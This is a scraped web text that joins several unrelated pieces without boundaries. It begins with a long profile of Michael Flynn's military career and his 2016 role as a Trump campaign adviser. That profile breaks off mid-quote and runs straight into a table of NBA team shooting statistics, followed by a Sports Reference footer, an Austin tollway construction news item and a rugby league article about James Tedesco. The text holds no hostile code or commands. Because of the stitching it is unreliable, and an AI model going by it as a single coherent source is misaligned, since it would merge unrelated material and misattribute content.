In many respects, his July 18 speech at the Republican Convention was quintessential Flynn, a full-throated defense of “American exceptionalism” and strong and unapologetic U.S. leadership; a warning that the threat from radical Islamists is growing and a rejection of “political correctness” that keeps officials from accurately identifying the enemy; and an insistence that winning wars is about never “drawing red lines and then retreating." In each case, Flynn has significant evidence backing his argument. Yet some of the people close to Flynn have been alarmed both by the candidate he has chosen to embrace, and by the uncharacteristic vitriol in the way Flynn has been talking, both in that speech and subsequent comments. Flynn has emerged as Trump’s national security alter ego, accompanying him on intelligence briefings and serving as his chief adviser on military issues.
Those who've known Flynn for years wonder how a kid from an Irish Catholic family of blue-collar Democrats who went on to be a dedicated, much-admired soldier ended up being a top national-security adviser to a man widely viewed as a demagogue, friendly to Russia and widely seen as ignorant of foreign policy. They worry that in his political naivete and innate loyalty Flynn is being used—and will be branded as a radical himself. And some of them are concerned that Flynn, who believes he was pressed into early retirement for appearing to question the Obama administration’s public narrative that Al Qaeda was close to defeat, is being handed a national stage to play out his personal frustrations.
In Flynn’s speech, Obama has been a “weak and spineless” leader who “coddles” terrorists and has brought mayhem to our streets with his “fumbling indecisiveness,” “willful ignorance” and “total incompetence.” Clinton should not only be locked up for her careless handling of classified emails, he has repeatedly said, but she is also “somebody who will leave Americans behind on the battlefield.”
In a recent exclusive interview, Flynn was unapologetic about his harsh rhetoric. In his mind, Clinton “did real damage to the country” and has dodged all accountability with her use of an unclassified email server to conduct government business, and the Obama administration perpetrated a “big lie” in insisting that the enemy, Islamist terrorists, is on the run. “So when Republican presidential candidates reached out and asked for my advice and help, I thought I had something to offer because of my strong belief that the country is going in the wrong direction.”
Yet a number of Flynn’s old bosses and some of the most respected leaders among the generally collegial fraternity of retired general and flag officers have been unsparing in their criticism. For months, retired Admiral Mike Mullen, former chairman of the Joint Chiefs of Staff, had reached out privately to Flynn trying to get him to tone down his rhetoric on the public airwaves. For Mullen, the Republican Convention speech was a final straw. “For retired senior officers to take leading and vocal roles as clearly partisan figures is a violation of the ethos and professionalism of apolitical military service,” Mullen wrote recently to the Washington Post. “This is not about the right to speak out, it is about the disappointing lack of judgment in doing so for crass partisan purposes. This is made worse by using hyperbolic language all the while leveraging the respected title of ‘general.’”
There is precedent for retired generals endorsing candidates in presidential elections, but it is discouraged in a military culture that demands strict nonpartisanship from those in uniform, and encourages even retired general officers to stay above the political fray. To have a respected and fairly recently retired general excoriate his former wartime commander in chief before millions of Americans on television was jarring in the extreme. Some of Flynn’s former bosses worried that it would drag the military into the kind of hyperpartisan mudslinging contest from which the uniform rarely emerges unsullied. When retired four-star Marine Corps General John Allen spoke in support of Clinton at the Democratic National Convention, the previous chairman of the Joint Chiefs cried foul on him as well.
In a letter to the Washington Post, former chairman Martin Dempsey also noted that Flynn and Allen "weren't introduced at the Democratic and Republican conventions, respectively, as 'John' and 'Mike.' They were introduced as generals. As generals, they have an obligation to uphold our apolitical traditions … they have just made the task of their successors—who continue to serve in uniform and are accountable for our security—more complicated."
Even more egregious in the eyes of many national security experts and former colleagues is Flynn’s bestowing legitimacy on the particular Republican presidential nominee this year. Trump has trampled on, or simply ignored, many of the fundamental tenets and doctrines that have defined U.S. national security and foreign policy for decades. In Trump’s America, terrorism suspects would be tortured and their families killed in clear war crimes, even as the country instituted a ban on Muslim immigrants. The U.S. nuclear umbrella would fold over South Korea and Japan, possibly provoking them to develop their own nuclear weapons arsenals and risking a long-feared breakout in nuclear proliferation. NATO allies could no longer assume American support if attacked by Russia.
In Trump’s worldview, Vladimir Putin is praise-worthy as a strong leader despite his penchant for dismembering neighboring states and brutally silencing critics and journalists. Trump even invited the Russian strongman to hack into Clinton’s email (he later claimed it was a joke) after U.S. intelligence officials said Russia was behind a recent hack of the Democratic National Committee. He has claimed that Obama created ISIS, and darkly insinuated that he may be sympathetic to its murderous attacks. Trump has also denigrated U.S. prisoners of war, engaged in a public spat with a Gold Star family who lost their son in Iraq; and claimed that current U.S. military leaders have been “reduced to rubble” and are “embarrassing for our country.”
Such demagoguery helps explain why more than 100 Republican national security experts signed a letter denouncing Trump last spring, citing a vision of American power that is “wildly inconsistent and unmoored in principle”; and why last month 50 Republicans, including former Cabinet officials and two former heads of the Department of Homeland Security, signed a letter predicting that Trump would be “the most reckless president in American history.” Those sentiments were recently seconded by lifelong Republican Robert Gates, the former secretary of defense and director of the CIA, who in a scathing Wall Street Journal op-ed called Trump “beyond repair” and someone who would be a “thin-skinned, temperamental, shoot-from-the-hip and lip, uninformed commander-in-chief” and “too great a risk for America.”
In private emails hacked and leaked to the press, Colin Powell, former secretary of state and chairman of the Joint Chiefs, called Trump a "national disgrace and an international pariah" and Flynn “right-wing nutty” for empowering him. "Flynn got fired as head of DIA. … I asked why Flynn got fired. Abusive with staff, didn't listen, worked against policy, bad management, etc. He has been and was right-wing nutty every [sic] since,” Powell wrote, later wondering "how [Flynn] got that far in the Army?"
To counter that withering criticism from Republican ranks, the Trump campaign released a letter signed by 88 former generals and admirals supporting his candidacy and arguing that it represents a “long-overdue course correction in our national security posture and policy.” Many see the hand of Flynn, who was earlier vetted as a possible vice president on the Trump ticket.
In interviews, Flynn admits he and Trump don't agree on everything, but he remains unapologetic in his service to the candidate. “To my old colleagues who disagree with my speaking out, my question to them is: ‘When did we stop being American citizens?’” Flynn said. Former colleagues may criticize him for using the title of ‘general’ before his name in speaking on behalf of the Trump campaign, “but I earned that title. I worked my ass off for it. I guarantee that many of my critics used that title of ‘general’ or ‘admiral’ to get lucrative positions on corporate boards.”
After spending years in Iraq and Afghanistan witnessing the expenditure of vast national resources, including the loss of many American lives, Flynn said he began to “wonder why we weren’t fixing how we fight these wars? So I’m very passionate about this country that I just finished spending my entire adult life trying to defend. And if I have to pay a personal price for my views, and Colin Powell wants to call me a jerk, I don’t have any problem with that. I know the truth and what I believe in.”
At his retirement ceremony, it had occurred to me that Flynn’s story was part of a larger narrative that stretched beyond his own career. He talked movingly about his late father, Francis Flynn, a career Army sergeant who fought in World War II and later Korea. He described how Francis taught his sons how to be a good leader, and what it meant to win a war that defeated tyranny and liberated the world. When Mike and later his brother Charlie told their father that they, too, were joining the Army, he didn’t hide his pleasure at the news. Francis Flynn told his sons, both of whom would improbably rise to the rank of general, “the name of ‘soldier’ is the proudest name anyone can bear.”
When the time came, Mike and Charlie Flynn went off to fight their wars. Only Afghanistan and Iraq would join Vietnam in the pantheon of the longest, most unpopular and unsatisfactory wars in American history. Their generation of officers received no parades or homecoming in victory, without which any soldier is adrift. In the long education of Lt. Gen. Michael Flynn, it’s possible to detect a silent but continuing conversation between a cherished father and a prodigal soldier and son, still searching for an elusive victory in a life-defining conflict.
***
To Flynn, it didn’t always seem elusive. It was in Iraq that he experienced his first epiphany about the nature of the enemy. In 2006, Mike Flynn was the chief intelligence officer for Joint Special Operations Command, and he often spent his evenings sitting at an interrogation table, speaking to Iraqi men of roughly comparable age and education, trying to grasp their seemingly unfathomable worldview. At the time, JSOC’s Task Force in Iraq was in a race against time with Al Qaeda in Iraq, and its bloodthirsty leader, Abu Musab Zarqawi. Zarqawi’s strategy of slaughtering Shiite Muslims as a way to ignite a sectarian civil war that would drive U.S. forces out of the country was working. Sunni AQI’s attacks and reprisals by Shiite death squads routinely claimed the lives of more than 3,000 Iraqis each month, many of them civilians.
Then one of JSOC’s Special Forces strike teams raided an AQI safe house and captured 12 men who were unlike the typical brutish Al Qaeda thugs. These older men were the senior managers and vice presidents of Al Qaeda in Iraq. The network they had established was sophisticated far beyond the early reckoning of U.S. commanders, with interlinked logistics, transportation, information, money management and strike operations, all of it worthy of a multinational conglomerate.
As JSOC’s director of intelligence, Flynn interrogated the senior Al Qaeda commanders at length. Sitting across from them at the detainee screening facility at Balad Air Base, Iraq, Flynn wondered why such obviously educated and intelligent people were devoting themselves to tearing their country apart, regardless of the horrendous toll in innocent lives. Some of the men had electrical engineering and other advanced degrees, but instead of building a bridge or helping establish a functioning government, they applied their talents to attacking vulnerable governing institutions in order to terrorize and intimidate civilians. He could understand their hatred of American interlopers, but the vast majority of their tens of thousands of victims were fellow Iraqis.
During the course of those interrogations and hundreds of others in both Iraq and Afghanistan, Flynn concluded that what united the terrorist warlords was a common ideology, specifically the extremely conservative and fundamentalist Salafi strain of Islam. Salafis believe the only true Islam is that version practiced by the Prophet Muhammad and his followers in the seventh and eighth centuries. They reject any separation of church and state in favor of puritanical interpretation of Islamic Sharia law. They are intolerant of other religions or sects, and at least in terms of Salafi Jihadists, their ideology is violent and expansionist by its very nature. The terrorist leaders he interrogated on a regular basis—whether they marched under the banner of Al Qaeda, the Taliban or ISIS—were true believers, every bit as committed to their ideology and skewed moral universe as Flynn was to his own.
“Over the course of all those interrogations, I concluded that ‘core Al Qaeda’ wasn’t actually comprised of human beings, but rather it was an ideology with a particular version of Islam at its center,” Flynn said in the recent interview. “More than a religion, this ideology encompasses a political belief system, because its adherents want to rule things—whether it’s a village, a city, a region or an entire ‘caliphate.’ And to achieve that goal, they are willing to use extreme violence. The religious nature of that threat makes it very hard for Americans to come to grips with.”
***
Another milestone in the education of Mike Flynn occurred in 2009, when General Stanley McChrystal was named the top U.S. commander in Afghanistan. Newly elected President Barack Obama had run for president calling Afghanistan the “right battlefield” and promising to “finish the job” there.
By then, McChrystal was one of the U.S. military’s most celebrated unconventional warriors, known for JSOC’s largely successful campaign against Al Qaeda in Iraq and the 2006 killing of its leader, Zarqawi. There were those in the White House, reportedly including Vice President Joe Biden, who hoped that McChrystal would embrace a similar, limited counterterrorism strategy of pinpoint strikes and night raids in Afghanistan. Such an approach would require far fewer U.S. ground forces.
In reassembling his JSOC brain trust, McChrystal chose Flynn as his chief intelligence officer and asked for an assessment of the situation in Afghanistan. Somewhat unexpectedly to many of his cohorts in the intelligence community, Flynn concluded that U.S. and allied forces were overly focused on killing terrorists and insurgents. He published his findings publicly in a think tank report without clearing it with his superiors, revealing a deep maverick streak. In that report, Flynn and his co-author concluded that “eight years into the war in Afghanistan, the U.S. intelligence community is only marginally relevant to the overall strategy. Having focused the overwhelming majority of its collection efforts and analytical brain-power on insurgent groups, the vast intelligence apparatus is unable to answer fundamental questions about the environment in which U.S. and allied forces operate.”
Meanwhile, McChrystal’s months-long review of U.S. strategy in Afghanistan was badly straining the relationship between his team and the White House. Obama’s inner circle worried that the U.S. military was trying to maneuver a new president into a Vietnam-like quagmire. McChrystal’s strategic assessment laying out potential options and troop numbers was leaked to the press by someone, convincing the White House team that the military was trying to pressure the president and limit his options.
Obama ultimately approved McChrystal’s more manpower-intensive counterinsurgency strategy and gave him 30,000 extra U.S. troops to implement it, while also setting a deadline for withdrawing the extra troops in 18 months. McChrystal was gratified that his campaign plan won the day, but he worried that the process leading up to that decision had left a lot of bruised feelings and distrust between his team and the White House. When Rolling Stone published its article “Runaway General” months later, quoting unnamed members of his staff criticizing Obama and Biden, those concerns were borne out. McChrystal was called back to Washington and relieved of command.
“It’s fair to say that McChrystal’s firing did leave a bad taste in my mouth,” Flynn said in our recent conversation. “Of course I felt bad for Stan, who had more combat experience than anyone else in the U.S. military at that time. But I also felt a lot of good work on the war effort and strong relationships with the Afghans that we had built were suddenly put in jeopardy. That’s also when I first began to think that the White House actually looks down on the military. I believe that to this day.”
***
In May 2013, President Obama delivered a seminal counterterrorism speech designed to break decisively with the post-9/11 past. The White House clearly wanted to capitalize on the killing of bin Laden, the pullout of U.S. troops from Iraq, and the approaching end to the war in Afghanistan to focus on his oft-stated priority of “nation-building here at home.” The president was also determined to close the detention center at Guantánamo Bay as a stain on America’s international reputation, and he was understandably concerned about the impact of the nation’s longest wars on civil liberties.
“Today, Osama bin Laden is dead, and so are most of his top lieutenants. There have been no large-scale attacks on the United States, and our homeland is more secure. Fewer of our troops are in harm’s way, and over the next 19 months they will continue to come home,” Obama said. “So, America is at a crossroads. We must define this struggle, or else it will define us. We have to be mindful of James Madison’s warning that ‘No nation could preserve its freedoms in the midst of continual warfare.”
For Mike Flynn, by then the director of the Defense Intelligence Agency, that narrative of a rapidly declining terrorism threat did not comport with the intelligence that routinely crossed his desk. In 2012, the National Intelligence Council had even crafted a draft National Intelligence Estimate that was supposed to represent the consensus view of the U.S. intelligence community, which reportedly concluded that Al Qaeda was no longer a threat to the United States. Flynn and a number of other senior intelligence officials had successfully pushed back hard against that conclusion as grossly premature.
Al Qaeda’s core leadership might have been decimated in Pakistan, but its close affiliates were drawing strength from instability spreading across the Middle East and Africa in the wake of the Arab Spring upheavals that began in 2011. That dynamic had worrisome parallels to the conditions in Afghanistan in the 1990s that originally spawned Al Qaeda. Flynn had DIA analysts distill that intelligence into a PowerPoint slide that showed that the number of radical Islamist terrorist groups had nearly doubled between 2004 and 2013, and occupied a far larger global footprint.
In the White House’s argument that the killing of bin Laden and many of his lieutenants had sounded the death knell for Al Qaeda, Flynn also once again sensed a misplaced belief that a tactic of “decapitation” of terrorist leaders was a war-winning strategy. Al Qaeda in Iraq had survived the death of Zarqawi in 2006; Al Qaeda core persevered after Bin Laden was killed in 2011; and Al Qaeda in the Arabian Peninsula (Yemen) remained a threat long after the U.S. killed its American-born leader Anwar al-Awlaki in 2011. Another true believer always appeared from the ranks to take their place, revealing the enduring power of their radical ideology. Killing leaders was an important tactic for keeping these groups back on their heels, but Flynn had learned the hard way that as a war-winning strategy, it was a proven failure.
Worst of all from Flynn’s bird's-eye perch at the DIA, intelligence reports of a growing threat from radical Islamist terrorism were often expunged as the intelligence stream worked its way up to the president’s desk. Flynn suspected part of the problem was National Security Adviser Susan Rice, who chaired many of the NSC deputies meetings and seemed uninterested in reports out of Iraq. But other intelligence bottlenecks have also come to light. After more than 50 intelligence analysts at U.S. Central Command complained to the Pentagon inspector general that their intelligence reports on the war against ISIS were consistently watered down, a recent House Republican task force report—written by members of the House Armed Services and Intelligence committees—concluded that intelligence on the ISIS threat was systematically altered by senior U.S. Central Command officials to give it a more positive spin.
“I read the Presidential Daily Briefs and the minutes of the National Security Council’s deputies meetings, and it was very, very clear to me that reporting on the terrorism threat that came up the intelligence community’s chain of command was very different from what was being presented at the top levels of government,” Flynn told me. “That intelligence made it very clear that Al Qaeda and its affiliates were not on the run, but were in fact rapidly expanding. The number of terrorist attacks were on the rise, and Iraq was starting to burn again. So that was Obama’s big lie—that the enemy was on the run, and we were beating these guys.”
***
After his retirement, Flynn didn’t run immediately to Trump. His regular appearances on Fox News led no fewer than five Republican presidential candidates to reach out for advice—Ben Carson, Scott Walker, Carly Fiorina, Ted Cruz and Trump. An op-ed he co-wrote with Fiorina gave him the idea for his new book, “The Field of Fight: How We Can Win the Global War Against Radical Islam and Its Allies.” But by the end of the primaries, Trump was the last Republican standing, and Flynn was standing prominently alongside him.
“If someone had asked me five years ago if I would be surprised to find myself where I’m standing today, absolutely I would have been surprised,” Flynn conceded.
Flynn’s perception of an expanding and evil ideology of Islamist extremism aligns with Trump’s dystopian view. Yet at times Flynn still struggles to reconcile his views with some of Trump’s most extreme positions, including his persistent praise of Putin.
“Putin is a totalitarian dictator and a thug who does not have our interests in mind. So I think Trump calling him a strong leader has been overstated, I’ll give you that,” Flynn said. “But Putin is smart and savvy, and he has taken actions in Ukraine and elsewhere that have limited our options, and the U.S. and NATO response has been timid. I think Trump’s strength lies in being a master negotiator, and he wants as many options as possible in dealing with Russia.” (Still, Flynn himself may have image problems here, since he appeared with Putin last year at an anniversary party for the Kremlin-controlled RT television network in Moscow.)
On Trump’s desire to return to “waterboarding” terrorism suspects and “worse,” Flynn is also equivocal, having seen how harsh interrogation techniques were counterproductive at JSOC and besmirched the reputation of the U.S. military. “I would not want to return to ‘enhanced techniques,’ because I helped rewrite the manual for interrogations,” he |
.761 31 1999-00 PHO* NBA 82 53 29.646 19805 3093 6771 2635 5525 458 1246 1467 1934 1022 2558 3580 2098 744 433 1368 1973 8111.424.439.352.739 32 1970-71 MIL* NBA 82 66 16.805 19780 3972 7803 3972 7803 1766 2379 4344 2249 1847 9710.424.424.744 33 1973-74 MIL* NBA 82 59 23.720 19755 3726 7571 3726 7571 1328 1741 1133 2881 4014 2225 726 519 1694 1864 8780.425.425.761 34 2001-02 MIA NBA 82 36 46.439 19930 2801 6382 2489 5483 312 899 1236 1708 902 2544 3446 1664 547 448 1217 1846 7150.425.442.342.736 35 1996-97 NYK* NBA 82 57 25.695 19855 2882 6227 2412 4933 470 1294 1585 2119 973 2516 3489 1809 629 378 1462 2033 7819.425.446.350.733 36 2001-02 BOS* NBA 82 49 33.598 19830 2852 6731 2153 4785 699 1946 1498 1960 891 2570 3461 1722 793 292 1114 1776 7901.425.450.340.771 37 1999-00 SAS* NBA 82 53 29.646 19855 2952 6393 2622 5511 330 882 1652 2214 927 2666 3593 1819 614 551 1233 1716 7886.425.440.343.739 38 2012-13 OKC* NBA 82 60 22.732 19830 3126 6504 2528 4916 598 1588 1819 2196 854 2725 3579 1753 679 624 1253 1654 8669.425.452.346.774 39 2001-02 SAS* NBA 82 58 24.707 19855 2913 6363 2475 5152 438 1211 1668 2249 907 2566 3473 1643 625 537 1180 1575 7932.426.443.338.777 40 2005-06 CHI* NBA 82 41 41.500 19905 3004 6737 2444 5260 560 1477 1452 1967 906 2602 3508 1804 508 345 1224 2038 8020.426.447.351.777 Rk Season Tm Lg G W L W/L% MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS FG% 2P% 3P% FT% 41 2000-01 CHH* NBA 82 46 36.561 19880 2800 6501 2460 5517 340 984 1599 2146 1033 2608 3641 1900 665 455 1183 1753 7539.426.439.360.756 42 1992-93 NYK* NBA 82 60 22.732 19930 3209 6898 3016 6294 193 604 1717 2316 1150 2660 3810 2125 680 372 1296 2111 8328.426.442.305.755 43 2001-02 PHI* NBA 82 43 39.524 19730 2804 6436 2590 5721 214 715 1639 2104 1092 2534 3626 1638 705 363 1256 1645 7461.426.451.331.751 44 2004-05 SAS* NBA 82 59 23.720 19805 2923 6450 2416 5055 507 1395 1535 2120 987 2489 3476 1771 613 543 1126 1717 7888.426.436.367.768 45 2002-03 NJN* NBA 82 49 33.598 19755 2906 6585 2560 5544 346 1041 1662 2195 991 2528 3519 1887 717 374 1212 1772 7820.427.442.359.749 46 2011-12 PHI* NBA 66 35 31.530 15915 2471 5516 2122 4553 349 963 889 1198 704 2144 2848 1453 526 340 738 1157 6180.427.450.334.752 47 2002-03 SAS* NBA 82 60 22.732 19830 2908 6297 2459 5027 449 1270 1591 2194 939 2556 3495 1636 629 529 1295 1672 7856.427.443.339.768 48 1998-99 MIL* NBA 50 28 22.560 12050 1753 3818 1522 3199 231 619 847 1155 570 1369 1939 1030 442 202 719 1142 4584.427.453.334.752 49 2011-12 OKC* NBA 66 47 19.712 15990 2462 5229 1990 3912 472 1317 1406 1744 726 2157 2883 1224 498 539 1079 1352 6802.427.451.342.768 50 2003-04 NJN* NBA 82 47 35.573 19705 2813 6372 2436 5249 377 1123 1398 1856 862 2473 3335 2009 709 322 1209 1722 7401.427.445.350.761 51 2004-05 MIA* NBA 82 59 23.720 19980 3097 6368 2622 5108 475 1260 1658 2466 887 2639 3526 1790 528 474 1127 1814 8327.427.446.348.760 52 2002-03 IND* NBA 82 48 34.585 19905 2911 6608 2532 5489 379 1119 1739 2271 1004 2622 3626 1910 696 443 1210 1811 7940.428.447.340.767 53 2003-04 TOR NBA 82 33 49.402 19980 2654 6348 2193 5054 461 1294 1237 1650 830 2419 3249 1574 604 402 1164 1748 7006.428.447.307.747 54 2014-15 GSW* NBA 82 67 15.817 19730 3410 7137 2527 4920 883 2217 1313 1709 853 2814 3667 2248 762 496 1185 1628 9016.428.458.337.763 55 1970-71 SFW* NBA 82 41 41.500 19705 3454 7709 3454 7709 1875 2468 4643 1893 1833 8783.428.428.748 56 1997-98 NYK* NBA 82 43 39.524 19830 2864 6413 2482 5274 382 1139 1399 1812 978 2434 3412 1787 634 278 1247 1947 7509.428.451.317.750 57 2003-04 MIA* NBA 82 42 40.512 19755 2729 6417 2244 5060 485 1357 1459 1915 940 2459 3399 1565 590 313 1137 1812 7402.428.450.343.768 58 1997-98 MIA* NBA 82 55 27.671 19755 2850 6327 2302 4783 548 1544 1539 2082 1028 2419 3447 1758 665 429 1226 1982 7787.428.445.331.744 59 2001-02 NJN* NBA 82 52 30.634 19830 3042 6816 2639 5622 403 1194 1402 1907 1039 2515 3554 1990 716 490 1189 1734 7889.429.446.348.753 60 2000-01 PHI* NBA 82 56 26.683 19855 2902 6487 2640 5684 262 803 1697 2277 1075 2600 3675 1692 690 408 1292 1673 7763.429.448.342.749 Rk Season Tm Lg G W L W/L% MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS FG% 2P% 3P% FT% 61 2003-04 NYK* NBA 82 39 43.476 19880 2881 6513 2475 5398 406 1115 1374 1732 950 2543 3493 1695 608 391 1289 1897 7542.429.450.338.763 62 2005-06 HOU NBA 82 34 48.415 19830 2708 6252 2239 4838 469 1414 1502 1980 849 2565 3414 1580 588 320 1193 1863 7387.429.447.369.731 63 2006-07 HOU* NBA 82 52 30.634 19855 2906 6528 2201 4635 705 1893 1436 1906 880 2673 3553 1704 583 337 1162 1710 7953.429.450.351.749 64 2004-05 DET* NBA 82 54 28.659 19955 2851 6421 2488 5368 363 1053 1588 2150 1054 2507 3561 1787 576 497 1133 1638 7653.430.451.338.751 65 2010-11 CHI* NBA 82 62 20.756 19830 3042 6587 2531 5172 511 1415 1492 2008 967 2654 3621 1827 592 468 1161 1639 8087.430.456.326.764 66 2013-14 CHI* NBA 82 48 34.585 19930 2843 6577 2335 5118 508 1459 1486 1908 937 2683 3620 1860 594 424 1223 1565 7680.430.454.351.753 67 2008-09 BOS* NBA 82 62 20.756 19880 3075 6333 2537 4978 538 1355 1587 2075 869 2586 3455 1862 621 387 1280 1897 8275.431.454.349.771 68 2008-09 CLE* NBA 82 66 16.805 19780 3022 6454 2366 4784 656 1670 1523 2012 886 2574 3460 1663 593 435 1045 1663 8223.431.459.333.770 69 1999-00 POR* NBA 82 59 23.720 19780 3021 6430 2614 5302 407 1128 1542 2029 966 2560 3526 1925 633 396 1243 1865 7991.431.453.330.716 70 2018-19 MIL NBA 60 46 14.767 14450 2596 5418 1802 3153 794 2265 1033 1341 541 2391 2932 1567 459 356 847 1190 7019.431.476.358.742 71 1997-98 POR* NBA 82 46 36.561 19830 2885 6397 2561 5350 324 1047 1640 2226 1086 2522 3608 1766 585 464 1383 1859 7734.431.449.343.722 72 1970-71 NYK* NBA 82 52 30.634 19755 3633 8076 3633 8076 1760 2377 4075 1779 1916 9026.431.431.752 73 1993-94 NYK* NBA 82 57 25.695 19755 3098 6735 2782 5827 316 908 1564 2097 1175 2542 3717 2067 752 385 1360 2001 8076.431.450.307.719 74 2000-01 MIA* NBA 82 50 32.610 19880 2694 6258 2216 4874 478 1384 1423 1874 813 2435 3248 1630 633 304 1122 1726 7289.431.452.331.737 75 1997-98 CHI* NBA 82 62 20.756 19855 3064 6801 2753 5839 311 962 1492 2009 1243 2438 3681 1952 696 353 1178 1691 7931.431.452.322.729 76 2015-16 ATL* NBA 82 48 34.585 19830 3168 6923 2353 4597 815 2326 1282 1638 679 2772 3451 2100 747 486 1226 1570 8433.432.469.338.755 77 1996-97 MIA* NBA 82 61 21.744 19805 2822 6235 2144 4370 678 1865 1454 2022 957 2402 3359 1735 650 439 1306 1919 7776.432.447.362.731 78 2004-05 MEM* NBA 82 45 37.549 19705 2802 6271 2271 4785 531 1486 1526 2024 887 2307 3194 1716 699 476 1197 1910 7661.432.452.351.771 79 2003-04 PHI NBA 82 33 49.402 19855 2682 6260 2343 5268 339 992 1512 2009 941 2408 3349 1640 654 358 1307 1701 7215.432.458.333.744 80 2003-04 UTA NBA 82 42 40.512 19780 2690 6172 2438 5386 252 786 1639 2196 1103 2272 3375 1671 583 494 1365 2096 7271.432.455.343.771 Rk Season Tm Lg G W L W/L% MP FG FGA 2P 2PA 3P 3PA FT FTA ORB DRB TRB AST STL BLK TOV PF PTS FG% 2P% 3P% FT% 81 2003-04 IND* NBA 82 61 21.744 19805 2753 6322 2304 5041 449 1281 1538 2014 965 2452 3417 1774 726 411 1182 1709 7493.432.453.324.750 82 2001-02 CHH* NBA 82 44 38.537 19755 2893 6580 2547 5586 346 994 1568 2105 1059 2505 3564 1759 653 456 1150 1747 7700.432.444.375.768 83 1997-98 IND* NBA 82 58 24.707 19830 2921 6223 2520 5194 401 1029 1631 2136 874 2348 3222 1889 645 368 1168 1859 7874.432.450.316.728 84 2000-01 SAC* NBA 82 55 27.671 20080 3132 6969 2653 5616 479 1353 1600 2075 987 2705 3692 1852 793 432 1221 1596 8343.432.447.355.749 85 2007-08 HOU* NBA 82 55 27.671 19730 3003 6698 2420 4991 583 1707 1342 1848 1002 2659 3661 1757 598 420 1125 1609 7931.433.447.365.737 86 1971-72 LAL* NBA 82 69 13.841 19755 3920 7998 3920 7998 2080 2833 4628 2232 1636 9920.432.432.768 87 1997-98 CLE* NBA 82 47 35.573 19830 2817 6207 2519 5406 298 801 1653 2187 955 2331 3286 1894 814 419 1418 1939 7585.433.450.344.755 88 2008-09 ORL* NBA 82 59 23.720 19730 2929 6416 2112 4269 817 2147 1611 2253 819 2728 3547 1593 570 439 1142 1664 8286.433.454.342.755 89 2002-03 HOU NBA 82 43 39.524 19930 2840 6461 2401 5194 439 1267 1569 2044 1024 2564 3588 1506 594 493 1276 1602 7688.433.450.347.775 90 2014-15 WAS* NBA 82 46 36.561 19955 3139 6790 2642 5409 497 1381 1305 1758 862 2801 3663 1969 601 378 1233 1707 8080.433.465.349.738 91 2005-06 SAS* NBA 82 63 19.768 19805 2993 6342 2469 4980 524 1362 1327 1891 851 2548 3399 1717 543 467 1126 1714 7837.433.449.339.740 92 2002-03 UTA* NBA 82 47 35.573 19780 2894 6189 2670 5548 224 641 1750 2349 1021 2381 3402 2103 708 467 1374 1837 7762.434.454.349.759 93 1998-99 HOU* NBA 50 31 19.620 12075 1755 3798 1419 2884 336 914 865 1187 536 1540 2076 1058 386 260 812 960 4711.434.448.357.734 94 1998-99 IND* NBA 50 33 17.660 12100 1731 3866 1437 3067 294 799 977 1228 574 1452 2026 1005 316 223 649 1082 4733.434.454.325.756 95 1972-73 LAL* NBA 82 60 22.732 19755 3740 7819 3740 7819 1679 2264 4562 2302 1636 9159.434.434.737 96 2010-11 MIA* NBA 82 58 24.707 19780 3031 6301 2484 4822 547 1479 1760 2288 790 2666 3456 1639 544 430 1142 1674 8369.434.462.345.744 97 1995-96 MIA* NBA 82 42 40.512 19780 2902 6348 2350 4890 552 1458 1553 2187 999 2495 3494 1752 574 439 1394 2158 7909.434.452.361.752 98 2011-12 MIA* NBA 66 46 20.697 16040 2446 5212 2076 4182 370 1030 1238 1598 686 2060 2746 1317 585 355 1002 1282 6500.434.457.363.725 99 1972-73 BOS* NBA 82 68 14.829 19730 3811 8511 3811 8511 1616 2073 4802 2320 1805 9238.434.434.758 100 2015-16 LAC* NBA 82 53 29.646 19830 3141 6759 2344 4569 797 2190 1490 2152 721 2727 3448 1873 709 460 1063 1746 8569.434.471.338.751 Next page
If you utilize material unique to a Sports Reference site for a tweet, an article, or for research for a broadcast or podcast, please strongly consider citing this site as the source for the material. It would be greatly appreciated and would help us continue to produce this material.The expansion and transformation of U.S. 183 in East Austin into a tollway, first proposed in 2004, took a key step forward Wednesday when the Central Texas Regional Mobility Authority board accepted a $581 million bid to design and construct the 8-mile-long project.
The authority plans to build a six-lane tollway on top of the existing four-lane highway from near Springdale Road south to near Texas 71 at Austin-Bergstrom International Airport. The project will include four to six frontage lanes that would have traffic lights at the same intersections that now have traffic signals. Construction of the project, which the authority has dubbed the Bergstrom Expressway, is expected to begin early next year and last until late 2020.
The project would eliminate, for those willing to pay, several traffic lights and make it possible for a driver to travel more than 30 miles from Leander to the airport on U.S. 183 and Texas 71 expressway lanes, both tolled and free.
A first phase of the tollway, from Springdale Road to Bolm Road, is projected to open in 2019. The southern section, including new bridges over the Colorado River, will take about a year longer to complete.
The board unanimously chose a group led by Fluor Corp. and Balfour Beatty Construction over two competitors, including one led by Spanish tollway builder Ferrovial Agroman that had submitted a bid $116 million lower at $485 million. But Ferrovial also estimated the project would take about half a year longer than the four-plus years estimated by the Fluor group. And a mobility authority team that examined the bidders’ experience and suggested approaches to building the road gave the Ferrovial team a much lower grade.
The project’s cost — taking into account added expenses for engineering oversight, toll financing, right of way purchases and bond financing — will be about $750 million, mobility authority officials said. The Texas Department of Transportation several years ago allocated a $146 million grant to the project, and it has since promised a $60 million loan as well. The balance of the needed money would come from a federal transportation loan that the authority hopes to land and from a bond sale to private investors expected to occur in September.Impressive Wests Tigers fullback James Tedesco has started 2016 where he finished off his momentous 2015 and one of the players closest to him says Blues selectors would be mad not to give the Camden Rams junior a crack at the No.1 jersey this year.
Wests Tigers playmaker Mitch Moses was in awe of Tedesco's feats last Saturday as the pair guided their team to a thrilling win over the late-surging Warriors, the fullback notching two tries and a whopping seven tackle busts.
"Teddy's Teddy, he's picked up where he left off last year and I'm happy to see that. He's going to really push to play Origin this year and I think if they don't pick him they're kidding themselves," Moses told NRL.com.
"He really deserves it, he's worked hard this pre-season, to come back from what he's had with those injuries [in previous years] and be playing the footy he has, it's amazing. He really deserves it but that will be up to Laurie [Blues coach Laurie Daley]."
St George Illawarra's Josh Dugan was one of the Blues' best in a losing series last year, playing all three games at fullback, but seems to be locked into a full-time move to the centres this season.
Daley guaranteed Dugan will be involved in the Blues 17 for Game I in some capacity if fit and playing well but left the door ajar for the 23-year-old Tiger and City Origin representative.
"Dugan will be in the team, we're not sure where that will be yet but as long as he's playing well and he's fit he'll be in the squad," Daley told NRL.com.
